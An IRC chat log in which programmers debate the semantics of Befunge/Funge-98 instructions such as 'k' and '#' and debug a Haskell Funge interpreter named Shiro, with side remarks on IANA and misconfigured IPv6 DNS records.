12:02:17 <ais523> elliott: actually, what k does is finds the next instruction and treats it as an instruction
12:02:21 <elliott> Deewiant: also, that requires special-casing k
12:02:24 <Deewiant> elliott: What part of "my interpretation"
12:02:33 <ais523> does treating an instruction as an instruction change anything about it?
12:02:34 <elliott> Deewiant: the bit where "the next instruction" means "after the k"
12:02:39 <Deewiant> elliott: It doesn't mean that
12:02:45 <elliott> Deewiant: then it means "after the IP"
12:02:47 <Deewiant> I was wrong and tired last time.
12:02:48 <ais523> also, the definition of k isn't actually a sentence
12:02:53 <Deewiant> The inner k finds itself, the first time.
12:02:53 <elliott> Deewiant: and since the IP is on the k for the entire duration of k execution
12:02:56 <ais523> the subordinate clauses don't nest properly
12:03:00 <elliott> Deewiant: the /first/ time?
12:03:08 <elliott> Deewiant: wait, does k move the IP somehow???
12:03:10 <Deewiant> elliott: See the execution trace I pasted.
12:03:16 <elliott> Deewiant: yes, it doesn't make any sense
12:03:34 <ais523> Deewiant: why is the inner execution moving the IP forwards each time?
12:03:35 <elliott> Deewiant: I don't want an execution trace, I want a justification of it, because as far as I can tell implementing that in my k would be non-trivial because it makes no sense at all
12:03:50 <Deewiant> The IP moves forward to get to the next cell.
12:03:53 <ais523> because all instructions move the IP forwards when executed?
12:04:08 <Deewiant> If the argument is nonzero, it finds the next instruction and executes it N times.
12:04:11 <ais523> oh, you're treating "finds the next instruction in the path of the IP" as actually moving the IP?
12:04:13 <Deewiant> If the argument is zero, it instead does nothing.
12:04:21 <elliott> now /that's/ insane
12:04:23 <Deewiant> Because 0kx is specced as skipping the x.
12:04:26 <elliott> I didn't even realise that was a valid interpretation
12:04:35 <Deewiant> It doesn't matter whether it actually moves the IP or not.
12:04:44 <ais523> Deewiant: oh, you're right
12:04:45 <Deewiant> The IP moves back before anything can tell the difference.
12:04:56 <ais523> that bit of the spec is completely contradictory to anything else in it, and I remember you complaining about it at the time
12:05:09 <ais523> so were you just trying to find an interpretation that complied with everything the spec said, somehow?
12:05:20 <Deewiant> But the thing with nested k is that when the stack runs out and you start hitting zeroes, every execution of the inner k will move the IP forward like a #.
12:05:38 <Deewiant> Pretty much, yes, that's been the idea. :-P
12:05:43 <ais523> because k, for some reason, acts like # if it pops a 0
12:05:52 <ais523> and you're treating that as a special case because the spec says so?
12:06:02 <ais523> in that case, I don't think you actually disagree with elliott in anything
12:06:11 <elliott> Deewiant: I think I've figured out why Vorpal wanted to make a new specification.
12:06:11 <ais523> other than that elliott missed one insane special case that ends up coming up quite a lot
12:06:14 <elliott> Deewiant: Because he hates FUN LIKE THIS.
12:06:28 <ais523> (that I completely forgot about)
12:06:50 <fizzie> Oh, it's k-time again?-)
12:06:55 <Deewiant> elliott: For the record, this behaviour follows from the impl "move IP; if (arg==0) return; get next instruction; move IP back; while (arg--) execute instruction;"
12:06:59 <ais523> hmm, where does the spec say that k executes at itself anyway?
12:07:06 <elliott> fizzie: :D
12:07:07 <Deewiant> Where does it say it doesn't?
12:07:13 <elliott> Deewiant: You're SO IMPERATIVE.
12:07:14 <Deewiant> There's no reason to think it moves the IP
12:07:17 <ais523> indeed
12:07:35 <Deewiant> elliott: It matches CCBI so it was already in my head :-P
12:07:38 <ais523> but with elliott's alternative reading, it'd execute the instruction at itself, I think
12:08:03 <elliott> fungeStateWithFungeSpaceFromByteString :: ByteString -> FungeState
12:08:06 <elliott> I really need a better name for that.
12:08:10 <ais523> btw, I think I've deduced what the intended semantics of k probably were, although they contradict the spec: k transforms the next instruction temporarily into a copy of itself
12:08:37 <ais523> as in, 4k5 changes the 5 into a "push four 5s" instruction until the next time it starts executing
12:09:05 <ais523> that also has sane semantics wrt everything in Befunge, and fits the given examples
12:09:28 <elliott> seriously, rename that function X-D
12:09:39 <fizzie> I was under the impression that 1kv was unambiguously defined to start going down from the k (not the v), but I can't find it in the spec.
12:09:42 <ais523> elliott: initializeFungeStateFromString
12:09:50 <elliott> ais523: that's even worse
12:10:00 <ais523> it's shorter, and just as clear
12:10:03 <Deewiant> fizzie: It's unambiguously not defined as something else
12:10:05 <elliott> ais523: (1) a ByteString is not a String in the slightest, they are two very different things, that is _not_ clear,
12:10:06 <ais523> (mostly because it's easier to parse)
12:10:12 <elliott> ais523: (2) "ize",
12:10:12 <ais523> elliott: oh, misread
12:10:19 <Deewiant> elliott: initFSFromBS
12:10:21 <elliott> ais523: (3) it's initialising the fungespace _in the funge state_ from a string
12:10:28 <elliott> *bytestring
12:10:38 <Deewiant> initFSinFSfromBS
12:10:38 <elliott> ais523: there are any number of items of state that could be bytestrings
12:10:39 <ais523> elliott: it's creating a new FungeState, and initialising the fungespace in it from a bytestring
12:10:42 <elliott> e.g., in fingerprints
12:10:43 <elliott> Deewiant: :D
12:10:57 <elliott> for comparison, the function that actually does the fungespace loading is
12:11:00 <elliott> mergeByteString :: Vector -> FungeSpace -> ByteString -> FungeSpace
12:11:03 <elliott> called with (0,0) and emptyFungeSpace
12:11:21 <Deewiant> BTW, you'll need to amend that to return the end Vector when you do i
12:11:27 <elliott> Deewiant: >_<
12:11:31 <elliott> Deewiant: Easy enough, at least
12:11:36 <ais523> hmm, it could be kind-of tricky for sg to handle Befunge and Trefunge (Unefunge would be easy enough, except for possibly a need to correct jump offsets)
12:11:45 <elliott> Done.
12:12:44 <elliott> initialFungeState{ fungeSpace = snd $ mergeByteString (0,0) emptyFungeSpace s }
12:12:48 <elliott> Over 80 fucking columns :P
12:13:10 <Deewiant> You don't need the word 'funge' in 'fungespace'
12:13:29 <elliott> Deewiant: The type is called FungeSpace :P
12:13:36 <Deewiant> You don't need to call it that :-P
12:13:43 <elliott> Deewiant: I already have :P
12:13:45 <elliott> :P :P :P
12:13:54 <elliott> modifyFungeSpace :: (FungeSpace -> FungeSpace) -> FM ()
12:13:54 <elliott> modifyFungeSpace f = modify $ \st -> st{ fungeSpace = f (fungeSpace st) }
12:13:54 <elliott> modifyStackStack :: (StackStack -> StackStack) -> FM ()
12:13:54 <elliott> modifyStackStack f = modify $ \st -> st{ stackStack = f (stackStack st) }
12:14:03 <elliott> how would these functions align perfectly in a monospaced font if I didn't call it FungeSpace?
12:14:06 <elliott> HOW, I ASK YOU
12:14:07 <ais523> what's with the braces?
12:14:11 <elliott> oops, that should be Shiro ()
12:14:15 <elliott> ais523: Haskell's record system
12:14:22 <elliott> ais523: if you haven't seen it before, it's because it sucks major ass
12:14:23 <ais523> ah, it's a syntax I was unaware of
12:14:27 <elliott> and so nobody uses it
12:14:32 <ais523> is that basically "make a copy with one value changed"?
12:14:34 <elliott> ais523: yes
12:14:44 <elliott> data FungeState =
12:14:44 <elliott> FungeState { stackStack :: StackStack
12:14:44 <elliott> , fungeSpace :: FungeSpace
12:14:46 <elliott> , ip :: IP } -- TODO: Multiple IPs
12:14:48 <elliott> deriving (Show)
12:14:57 <ais523> and laziness causes that to not be inefficient because the intermediate copies are never actually constructed
12:15:03 <ais523> as they're only accessed fieldwise
12:15:19 <elliott> ais523: Well, ostensibly. :p
12:15:56 <ais523> hmm, looking at links from the Befunge page on the wiki, I came across Spunge, which is a Scheme-subset to Befunge compiler written in Common Lisp
12:16:10 <elliott> *Sponge
12:16:12 <Deewiant> Sponge, not Spunge
12:16:12 <elliott> and yes, we know of it
12:16:13 <ais523> I'm commenting mostly because who uses Scheme as an input to a Common Lisp program? that's like using vim to edit .emacs
12:16:17 <ais523> elliott: err, typo
12:16:34 <elliott> ais523: because Scheme is a tiny useless toy language good for compiling to an esolang ;-)
12:16:57 <elliott> it's clearly Yet Another Blatant Attack As Part of the Lisp Wars That Have Plagued McCarthy For A Very Long Time Now.
12:17:06 <elliott> YABAAPLWTHPMFAVLTN.
12:17:35 <Deewiant> Your capitalization makes no sense.
12:17:43 <elliott> "iPod touch. The perfect Valentine's Day gift." <-- Apple, you're coming really close to my "unsubscribe from spam" threshold, and that's _really_ high.
12:17:46 <elliott> Deewiant: That's what she said.
12:17:52 <elliott> Deewiant: I did it on the fly, okay :P
12:17:54 <elliott> (That's what she said.)
12:18:20 <elliott> doCharIns 'p' = do -- Doesn't work, don't know why: flip poke <$> pop <*> popVec
12:18:21 <elliott> val <- pop
12:18:21 <elliott> pos <- popVec
12:18:21 <elliott> poke pos val
12:18:22 <Deewiant> What, you think an iPod is a poor Valentine's Day gift?
12:18:25 <elliott> I still don't know why.
12:18:37 <elliott> Deewiant: :-D
12:18:48 <elliott> I use :-D like 10x more when Deewiant is talking, even if he's not saying :-D.
12:18:48 <Deewiant> ?. pl undo do val <- pop; pos <- popVec; poke pos val
12:18:48 <lambdabot> (popVec >>=) . flip poke =<< pop
12:18:50 <elliott> I think my brain is broken.
12:20:00 <ais523> why ?. not @?
12:20:02 -!- cheater- has quit (Ping timeout: 240 seconds).
12:20:21 <Deewiant> ?. pl unpl flip poke `liftM` pop `ap` popVec
12:20:21 <lambdabot> (popVec >>=) . (return .) =<< fmap (flip poke) pop
12:20:34 <Deewiant> That's why it doesn't work.
12:20:37 <ais523> oh, it lets you chain @-commands?
12:20:44 <elliott> ais523: @. does that too
12:20:44 <elliott> ? = @
12:20:45 <Deewiant> ais523: I got used to typing ? at some point.
12:20:48 <ais523> elliott: ah
12:20:50 <elliott> Deewiant: Oh. Fix it then. :p
12:21:02 <elliott> I think join $ might fix it, but _eh_.
12:21:04 <ais523> how dare lambdabot take up two punctuation mark prefixes, there's only a finite supply
12:21:06 <Deewiant> Probably back when my keyboard required alt gr to press @, but shift for ?.
12:21:19 -!- cheater- has joined.
12:21:21 <ais523> presumably we'll have to shift to Unicode (bot prefix v6) when ASCII (bot prefix v4) runs out
12:21:37 <ais523> or move to letters, so we can have bots respond on random sentences that happen to begin with v or whatever
12:21:56 <elliott> ¬botsnack
12:22:06 <Deewiant> elliott: liftM2 (flip poke) pop popVec
12:22:15 <elliott> Deewiant: ITYM liftA2
12:22:16 <Deewiant> Maybe
12:22:24 <Deewiant> ITIDC
12:23:44 <elliott> Couldn't match expected type `()' against inferred type `Shiro ()'
12:23:44 <elliott> In the first argument of `liftA2', namely `(flip poke)'
12:23:44 <elliott> In the expression: liftA2 (flip poke) pop popVec
12:23:50 <elliott> ITIDC?
12:24:03 <Deewiant> ... I Don't Care
12:24:06 <ais523> IDC = I don't care, perhaps the IT was just copying ITYM?
12:24:16 <elliott> oh
12:24:28 <Deewiant> Oh right, lift* does a lift and not just the binary op
12:24:53 <Deewiant> @hoogle (a -> b -> m c) -> m a -> m b -> m c
12:24:54 <lambdabot> Control.Monad zipWithM :: Monad m => (a -> b -> m c) -> [a] -> [b] -> m [c]
12:24:54 <lambdabot> Control.Monad zipWithM_ :: Monad m => (a -> b -> m c) -> [a] -> [b] -> m ()
12:24:54 <lambdabot> Control.Monad foldM :: Monad m => (a -> b -> m a) -> a -> [b] -> m a
12:24:54 <elliott> ORLY :P
12:25:07 <Deewiant> Ohwellz
12:25:25 <Deewiant> elliott: Isn't the <$> usually in the end position anyway
12:25:30 <elliott> No
12:25:41 <elliott> :t \f x y -> f <$> x <*> y
12:25:42 <lambdabot> forall a a1 b (f :: * -> *). (Applicative f) => (a -> a1 -> b) -> f a -> f a1 -> f b
12:25:50 <Deewiant> Right, that's liftA2
12:25:53 <elliott> Right.
12:26:28 <elliott> I tend to prefer the <$><*>y way for some reason.
12:27:28 -!- BeholdMyGlory has quit (Ping timeout: 240 seconds).
12:27:33 <elliott> Now to write nextInsPos. :p
12:28:04 <elliott> Deewiant: BTW, say this line starts at (-1,0), and the IP starts at the location after the imaginary marker |:
12:28:10 <elliott> a|bcde
12:28:18 <elliott> Er, no.
12:28:19 <elliott> a|bcd
12:28:29 <elliott> If the delta is (2,0), then after hitting the d, does the IP end up at a or b?
12:28:33 <Deewiant> b
12:28:34 <elliott> I can kind of see arguments for both.
12:28:36 <elliott> Right.
12:31:13 -!- cheater- has quit (Ping timeout: 240 seconds).
12:31:34 -!- cheater- has joined.
12:33:01 <elliott> # is go to next instruction, not advance, right? :p
12:33:31 <ais523> # skips one cell, not one instruction
12:33:38 <ais523> i.e. # space does the same as space space
12:34:00 <elliott> Hmm, indeed.
12:34:11 <ais523> # off the edge of fungespace is vaguely insane for that reason, as it's unclear what sort of wrapping should be used
12:34:14 <elliott> What about '? The same I think.
12:34:54 <ais523> yep
12:35:01 <ais523> (I had to look it up to check, but it's cell-based too)
12:35:18 <ais523> so you can use # or ' to jump over a ;
12:36:18 <elliott> Couldn't match expected type `IP'
12:36:18 <elliott> against inferred type `(Value, Value)'
12:36:18 <elliott> Expected type: IP
12:36:18 <elliott> Inferred type: Vector
12:36:18 <elliott> wat
12:36:26 <elliott> nextPos takes an IP ...
12:37:10 <elliott> "The name plays on the fungal theme that has attached itself to Befunge" Oh yes Deewiant, that totally wasn't a one-man crusade.
12:37:28 <Deewiant> It wasn't my idea.
12:37:28 <elliott> (I'm just reading to see how AWESOMELY FAST my interpreter is going to be.)
12:37:37 <elliott> Deewiant: Who do we blame, then? :-)
12:37:37 -!- cheater- has quit (Ping timeout: 240 seconds).
12:37:40 <Deewiant> Fungus was the original third-party test suite.
12:37:44 <elliott> True.
12:38:18 <Deewiant> And now we've got stinkhorn and whatnot.
12:38:34 <elliott> Where is Asztal, anyway.
12:38:42 <elliott> He seems to have fallen of the face of the earthterwebs.
12:38:53 <elliott> hmm, last seen 2010-04
12:39:37 <Deewiant> ais523: I've come to think that # off the edge is pretty easy, just think of the program as surrounded by spaces on all sides
12:39:50 -!- BeholdMyGlory has joined.
12:39:56 -!- BeholdMyGlory has quit (Changing host).
12:39:56 -!- BeholdMyGlory has joined.
12:40:02 <Deewiant> Then # just skips one of the 2^31-ish spaces and you arrive on the other side normally
12:40:03 <elliott> Deewiant: "Think of"; it IS :P
12:40:22 <Deewiant> Well, you still need to think of it
12:40:43 <ais523> Deewiant: indeed; although arguably, the bounding box stuff in y implies that # past the bounding box should wrap
12:40:48 <elliott> http://d.puremagic.com/issues/show_bug.cgi?id=3001 <-- This issue is well attended-to
12:41:07 <Deewiant> Yep
12:41:14 <elliott> what does y on positive do?
12:41:16 <elliott> UNDEF?
12:41:21 <Deewiant> y on positive?
12:41:28 <elliott> The y "Get SysInfo" instruction, only available in Funge-98, pops one value off the stack. If the value is zero or negative, y tells you far more than you ever really want to know about the underlying Funge interpreter, operating system, and computer (and is thus usually followed soon after by a n instruction).
12:41:36 <Deewiant> See below.
12:41:48 <elliott> Oh :P
12:41:57 <elliott> That's boering.
12:42:06 <elliott> I wonder what fun fun thing I can make = do.
12:42:17 <elliott> Ooh, maybe interpret it as elisp and start Emacs with it.
12:42:25 <elliott> Or give it to ghci :)
12:43:03 <ais523> y on positive is a pick instruction
12:43:11 <ais523> which can even pick below the sysinfo, if you can somehow work out how big it is
12:43:24 <elliott> wow, that's brilliant
12:43:39 <elliott> most inefficient pick ever?
12:43:49 <Deewiant> Pretty much yes
12:43:52 <elliott> 1 cell containing the number of bytes per cell (global env).
12:43:53 <elliott> aka cell size. Typically 4, could also be 2, 8, really really large, infinity, etc.
12:44:00 <elliott> I like how it states you have to put it in a cell, and then tells you it might be infinity.
12:44:16 <elliott> Deewiant: What is that team number crap anyway :-P
12:44:18 <elliott> More precisely, wtf is NetFunge.
12:44:24 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
12:44:29 <ais523> elliott: I think efunge pushes -1 for bignum
12:44:31 <Deewiant> Something that never really got anywhere
12:44:38 <elliott> Deewiant: You mean like Befunge?
12:44:50 <elliott> ais523: no, clearly that's for a TURKEY BOMB Funge-98 interpreter
12:44:52 <Deewiant> Closer to Unefunge
12:45:26 -!- invariable has joined.
12:45:36 <elliott> Deewiant: I like how it says that y can push basically anything for what = does, so long as it's in the registry. Chris should have used the tired-and-tested route of burdening IANA with handling the assignments.
12:45:42 <elliott> *tried, but also tired
12:46:01 -!- poiuy_qwert has joined.
12:46:09 <Deewiant> BeGlad is Befunge Gladiators, NetFunge I don't think I've heard anything else about
12:46:15 <ais523> elliott: isn't IANA's sole purpose to handle random assignment registries for the IETF?
12:46:20 <elliott> ais523: precisely!
12:46:34 <ais523> thus, burdening them with it is what you're meant to do, they exist to stop other people being burdened with them
12:47:11 <elliott> ais523: I bet when they gave the IPv4 space to IANA they were like "yeah, manage our toy until we get a production-ready implementation"
12:47:26 <ais523> heh
12:47:32 <elliott> "shouldn't be too hard"
12:47:36 <ais523> what about DNS, though?
12:47:51 -!- variable has quit (Ping timeout: 260 seconds).
12:47:55 <elliott> [[The following sentence:
12:47:55 <elliott> The word "Befunge" started life as a typographical error for the word "before," typed by Curtis Coleman at 4AM on a BBS chat system.
12:47:56 <elliott> Was changed by User:Aardwolf (by moving the comma) to:
12:47:56 <elliott> The word "Befunge" started life as a typographical error for the word "before", typed by Curtis Coleman at 4AM on a BBS chat system.
12:47:56 <elliott> And then reverted by Graue, who suggested that Aardwolf 'leave the pedantry to those of us who know the rules'.]] --Talk:Befunge
12:47:59 <ais523> I'm not entirely clear on how ICANN vs. IANA works on that
12:48:08 <elliott> Maybe Graue should leave the pedantry to those of us who realise that the British exist.
12:48:16 -!- invariable has quit (Read error: Operation timed out).
12:48:24 <elliott> ais523: isn't ICANN controlled by IANA?
12:48:30 <ais523> I don't know
12:48:36 <ais523> that's why I said I wasn't entirely clear on it
12:48:39 <elliott> The Internet Corporation for Assigned Names and Numbers (ICANN, pronounced /ˈaɪkæn/ EYE-kan) is a non-profit corporation headquartered in Marina del Rey, California, United States that was created on September 18, 1998, and incorporated on September 30, 1998[1] to oversee a number of Internet-related tasks previously performed directly on behalf of the U.S. government by other organizations, notably the Internet Assigned Numbers Authority (IAN
12:48:39 <Ilari> Er, isn't it just the opposite way around?
12:48:40 <elliott> A).
12:48:44 <elliott> seemingly, yes
12:48:55 <elliott> "The technical work of ICANN is referred to as the IANA function."
12:50:35 -!- cheater- has joined.
12:51:05 <elliott> hmm, wtf
12:51:16 <elliott> no, really
12:51:17 <elliott> wtf?
12:51:25 <elliott> oh
12:51:26 <elliott> durrrr
12:51:28 <elliott> :))
12:52:14 <elliott> Deewiant: good news!!!!
12:52:19 <elliott> my interpreter now goes into a loop on sanity.bf!!
12:52:26 <Ilari> Looking at IPv6 hall of shame (sites with AAAA records that just plain can't work):
12:52:30 <Deewiant> That's mediocre news at best
12:52:53 -!- variable has joined.
12:52:53 <elliott> Deewiant: That's GREAT news!!!!!!
12:52:59 <elliott> Exclamation marks!!!!!!!!
12:53:18 <ais523> Ilari: how does that happen? sites wanting to look IPv6 compatible?
12:54:02 <elliott> Deewiant: Oh, I see the problem.
12:54:09 <elliott> The problem is that I'm retarded, if anyone wants to know.
12:54:30 <elliott> *Shiro.Interpreter> main
12:54:30 <elliott> HERE BE: 9
12:54:30 <elliott> HERE BE: 9
12:54:30 <elliott> HERE BE: 9
12:54:30 <elliott> HERE BE: 9
12:54:31 <elliott> HERE BE: 9
12:54:32 <elliott> HERE BE: 9
12:54:34 <elliott> see the problem?
12:54:53 <elliott> *** Exception: ExitSuccess
12:54:56 <elliott> EXCEPTIONAL SUCCESS
12:55:00 <elliott> *rimshot*
12:55:42 <elliott> Deewiant: What has four legs, three arms, and hangs on mycology.b98?
12:56:00 <Deewiant> You tell me
12:56:05 <elliott> Deewiant: Shiro
12:56:08 <elliott> But with four legs
12:56:10 <elliott> and three arms.
12:56:23 <fizzie> ais523: Perhaps they're anti-IPv6, and want to avoid being connected by people with IPv6 connectivity. Perhaps the AAAA records contain v6 addresses full of nasty messages.
12:56:29 <Deewiant> Is it just taking five minutes to load the file?-)
12:56:38 <elliott> Deewiant: Nope, took less than a second for that, I checked :P
12:56:53 <Deewiant> And it didn't print anything?
12:56:55 <ais523> fizzie: or INTERCAL programs
12:57:00 <elliott> Deewiant: It, uh, isn't executing instructions, though.
12:57:03 <ais523> esr was working on a spec to encode INTERCAL into IPv6 addresses
12:57:04 <elliott> My debug prints aren't running.
12:57:10 <elliott> I conclude that toNextIns is bugged or something.
12:57:16 <Ilari> Mainly addresses from 6bone range (6bone is DEAD), ULA addresses, link-local addresses, loopback, addresses in compat ranges, addresses in IETF-reserved ranges (obviously made up), etc...
12:57:19 <Deewiant> elliott: It took less than a second for it to start loading the file, but it hasn't evaluated it yet
12:57:27 <elliott> Deewiant: I `seq`'d it.
12:57:40 <elliott> Maybe I need DeepSeq :P
12:57:41 <Deewiant> `seq` on something like a Map doesn't help much ;-)
12:57:45 <ais523> Ilari: hmm, do any sites have v4 addresses for loopback?
12:57:53 <ais523> and would browsers respect them if they did?
12:57:54 <fizzie> I used to have a 3ffe::/16 address.
12:57:55 <Deewiant> You need rnf or Map.size or whatever
12:58:07 <elliott> print (elems (fungeSpace st))
12:58:10 <elliott> Hmm, right, Map.size should do it.
12:58:13 <HackEgo> No output.
12:58:22 <Ilari> Some do, but probably not those.
12:58:23 * elliott decides to not do it with runhaskell.
12:58:58 <Deewiant> ghc -O2 -finline-functions
12:59:09 <fizzie> ais523: Quite a lot of "internal" zones have a A record of 127.0.0.1 for the host "loopback", to make the word "loopback" always work even if some piece of code appends a domain search suffix in. I wouldn't be surprised if some of those records would be Internet-visible too.
12:59:11 <Ilari> There's also some site that has AAAA nameservers set to ::1, which causes trouble.
12:59:24 <elliott> elliott@elliott-MacBookAir:~/Code/shiro$ ./shiro
12:59:24 <elliott> 75489
12:59:27 <elliott> Deewiant: That's... not right.
12:59:40 <elliott> Deewiant: Or is it?
12:59:43 <Deewiant> The size of the map?
12:59:46 <elliott> Yes.
12:59:57 <elliott> $ tr -d ' \n' < mycology.b98 | wc -c
12:59:57 <elliott> 76400
12:59:58 <Deewiant> I don't know, sed away the spaces and wc it
12:59:59 <elliott> Guess it's right then.
13:00:03 <elliott> tr, man, tr!
13:00:16 <elliott> Okay, so it's definitely toNextIns probably.
13:00:27 <elliott> Oh wait, at the start I want "toNextInsOnlyIfIt'sASpace".
13:00:37 <Deewiant> If you'd added \r to that you might have got pretty close
13:00:39 <fizzie> The "definitely -- probably" construction, one of my favourite parts of natural languages.
13:01:15 <Deewiant> elliott: It's much handier if toNextIns can be called unconditionally :-P
13:01:33 <elliott> Deewiant: Yes, but then it'd skip over the _valid_ first instruction.
13:01:35 <elliott> Obviously.
13:01:40 <elliott> Because you call it from the previous instruction.
13:01:44 <elliott> No?
13:01:52 <Deewiant> $ tr -d ' \f\r\n' < mycology.b98| wc -c
13:01:53 <Deewiant> 75489
13:01:56 <ais523> why don't you start the IP at the end of the first line?
13:02:00 <ais523> to avoid the special case?
13:02:06 <Ilari> There are programs that use unified IPv4/IPv6 space. Disable IPv6 support on host and these just plain break (they don't need IPv6 addresses, but do need IPv6 support).
13:02:10 <elliott> ais523: It's important to manage my ticks properly.
13:02:11 <Deewiant> elliott: My toNextIns doesn't move if it's on an instruction.
13:02:20 <elliott> Deewiant: Oh, so you do "advance; toNextIns"?
13:02:25 <elliott> That... makes sense, yeah :P
13:02:28 <ais523> elliott: start the tick counter at -1, then
13:02:34 <elliott> Well.
13:02:37 <elliott> "toNextIns; ...; advance"
13:02:40 <Deewiant> Sometimes you want advance, sometimes toNextIns, sometimes both.
13:03:07 <elliott> Deewiant: BTW, ghc doesn't have -finline-functions. :D
13:03:21 <Deewiant> I was poking fun at gcc -funroll-loops.
13:03:24 <elliott> I know.
13:03:57 <elliott> The j "Jump Forward" instruction pops a value off the stack, and jumps over that many spaces. If there is a 1 on the stack, j will work like # does. e.g. 2j789. would print 9 and leave an empty stack. Negative values are legal arguments for j, such that 04-j@ is an infinite loop.
13:04:01 <elliott> Deewiant: j can only jump over spaces, discuss.
13:04:11 <Deewiant> Reread the examples.
13:04:18 <elliott> Deewiant: It was a joke.
13:04:22 <Deewiant> I know.
13:04:23 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
13:04:30 <elliott> Deewiant: OOH THE SNARK
13:04:34 <Deewiant> You'd've done better pasting only the first sentence. :-P
13:04:39 <elliott> LAZE
13:04:55 <elliott> doNextIns = do
13:04:56 <elliott> print 999999
13:04:56 <elliott> toNextIns
13:04:56 <elliott> haskel debagging
13:04:59 -!- aloril has quit (*.net *.split).
13:05:05 <elliott> *io $ print 999999
13:05:18 <Deewiant> traceShow 999999
13:05:20 <elliott> Yep, toNextIns hangs.
13:05:26 <elliott> Deewiant: Mr. Fancy "Pants" FancyMcPants
13:05:52 <elliott> OK, so first instruction is 0.
13:05:58 <elliott> Oh, durrr.
13:06:02 -!- poiuy_qwert has joined.
13:06:06 <Deewiant> 0.#@ etc IIRC.
13:06:13 <elliott> elliott@elliott-MacBookAir:~/Code/shiro$ ./shiro75489
13:06:13 <elliott> 999999
13:06:13 <elliott> HERE BE: 0
13:06:13 <elliott> 999999
13:06:14 <elliott> It's a start.
13:06:30 <Deewiant> 75489? :-P
13:06:35 <Deewiant> Version number?
13:06:48 <elliott> Deewiant: That's the first line of output, my terminal went all weird.
13:06:50 <elliott> But: YES VERSION NUMBER
13:08:28 <elliott> At least now I have no idea what's wrong.
13:08:29 <elliott> That's reassuring.
13:09:07 <elliott> 999999
13:09:07 <elliott> HERE BE:
13:09:08 <elliott> That's not.
13:09:10 <Deewiant> The readme walks you through the start, if it's dying really early.
13:09:45 <elliott> Deewiant: I don't think that will help, I think my actual advance code is broken :P
13:09:59 -!- Behold has joined.
13:10:03 <elliott> Which is weird because sanity.bf worked.
13:10:21 <elliott> Deewiant: I should probably get stringmode soon.
13:10:33 <Deewiant> If it printed only 0, vertical movement is broken.
13:10:54 <elliott> Deewiant: Define broken :P
13:11:08 <elliott> Interesting, I... don't have ^.
13:11:10 <Deewiant> Well
13:12:06 <Deewiant> The code is, off the top of my head, something like 0#@>.1#@v followed by . in the vertical direction
13:12:20 <elliott> Deewiant: Yeah, but that isn't even the problem, I print for every instruction: this thing isn't executing more than one instruction.
13:12:31 <elliott> This thing is hanging trying to find the next instruction after it advances which for some reason leaves it on a space.
13:13:20 -!- BeholdMyGlory has quit (Ping timeout: 250 seconds).
13:13:52 <Deewiant> If you hang on 0# that's pretty impressive :-D
13:16:13 <elliott> 75489
13:16:13 <elliott> (0,0)
13:16:13 <elliott> (0,0)
13:16:13 <elliott> 0(136130,0)
13:16:19 <Deewiant> Nice
13:16:21 <elliott> Deewiant: Mycology is 136130 wide, right?
13:16:27 <elliott> And starts with 0 and then a bunch of spaces?
13:16:28 <Deewiant> Not quite, no
13:16:31 <elliott> Darn
13:16:51 <elliott> I conclude that nextPos is amusingly fucked... or my loading code which I haven't even tested once, do you think it could be that?
13:17:16 <Deewiant> Just print out the first line
13:17:25 <elliott> *Main> fungeStateFromByteString "ab"
13:17:25 <elliott> FungeState {stackStack = [], fungeSpace = FungeSpace (fromList [((0,0),97),((1,0),98)]), ip = IP (0,0) (-1,0)}
13:17:26 <elliott> Wait what.
13:17:28 <elliott> "(-1,0)"
13:17:39 <Deewiant> "Whoops"
13:17:50 <elliott> initialIP :: IP
13:17:50 <elliott> initialIP = IP origin west
13:17:51 <elliott> HURF
13:17:52 <elliott> DURF
13:18:04 <elliott> HURFY
13:18:05 <elliott> DURFY
13:18:06 <elliott> DURF
13:18:10 <Deewiant> Maybe I should've put an @ at the end of sanity.bf :-D
13:18:26 <elliott> Deewiant: That might be a good idea :P
13:18:29 <Deewiant> I guess I didn't expect you'd have working movement and wrapping but an IP that moves in the wrong direction
13:18:33 <elliott> :-D
13:18:38 <ais523> nah, sanity.bf should really print out 7654321 if you start the IP going backwards
13:18:58 <elliott> Deewiant: It reflected because of t, it looks like.
13:19:03 <Deewiant> Yep
13:19:06 <elliott> :-D
13:19:12 <elliott> That's so amazingly perfect.
13:19:16 <elliott> I am laughinh.
13:19:18 <elliott> *laughing.
13:19:52 <elliott> Deewiant: Hey, it's back to printing nothing again.
13:20:12 <elliott> Ah.
13:20:16 <elliott> It hangs on the elusive instruction known only as "v".
13:20:19 <Deewiant> I could also have done what I'd do these days and terminate the comment with a ., that way it'd print an extraneous 0
13:20:27 <elliott> KNOWN ONLY AS V
13:20:33 <elliott> doCharIns 'v' = go south
13:20:47 <elliott> south :: Vector
13:20:47 <elliott> south = (0,-1)
13:20:50 <elliott> That's not right is it Deewiant.
13:20:57 <Deewiant> Nope
13:21:15 <elliott> Deewiant: ALL MY BUGS ARE IN MY HELPER VALUES
13:21:16 <Deewiant> Unless your origin is internally represented as the bottom left corner
13:21:19 <elliott> Nope :P
13:22:00 <elliott> Deewiant: Heh, it's just printing 0 now. But only when I press ^C. I need to flush stdout after each print >_<
13:22:24 <Deewiant> It'll print newlines eventually
13:22:37 <elliott> Deewiant: Isn't that hideously inefficient, flushing after each print? Does CCBI do that? :P
13:22:43 <Deewiant> Of course it doesn't
13:22:53 <Deewiant> CCBI's output buffer is like 10x the size of cfunge's, too
13:22:59 <Deewiant> It flushes a lot less
13:23:02 <elliott> Deewiant: For EFFICIENCY?
13:23:10 <Deewiant> Mostly by coincidence
13:24:23 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
13:25:40 <elliott> Deewiant: I'm going to leave it for a minute and see if it outputs something that isn't 0. :p
13:25:52 <elliott> I have a feeling wrapping might be quite slow because Mycology is IIRC very wide.
13:26:00 -!- poiuy_qwert has joined.
13:26:03 <Deewiant> It shouldn't be wrapping for a long time.
13:26:07 <elliott> Deewiant: SHUT UP :P
13:27:16 <elliott> ("beforeToNextIns",(9,0),'v')
13:27:16 <elliott> ("afterToNextIns",(9,0),'v')
13:27:16 <elliott> ("beforeToNextIns",(9,1),' ')
13:27:27 <elliott> Yet it succeeded before:
13:27:32 <elliott> ("beforeToNextIns",(5,0),' ')
13:27:33 <elliott> ("afterToNextIns",(6,0),'1')
13:27:42 <Deewiant> (9,1) is a .
13:29:26 <elliott> *Shiro.Interpreter> nextInsPos fs (IP (9,1) (0,1))
13:29:26 <elliott> [hang]
13:29:27 <elliott> **sigh**
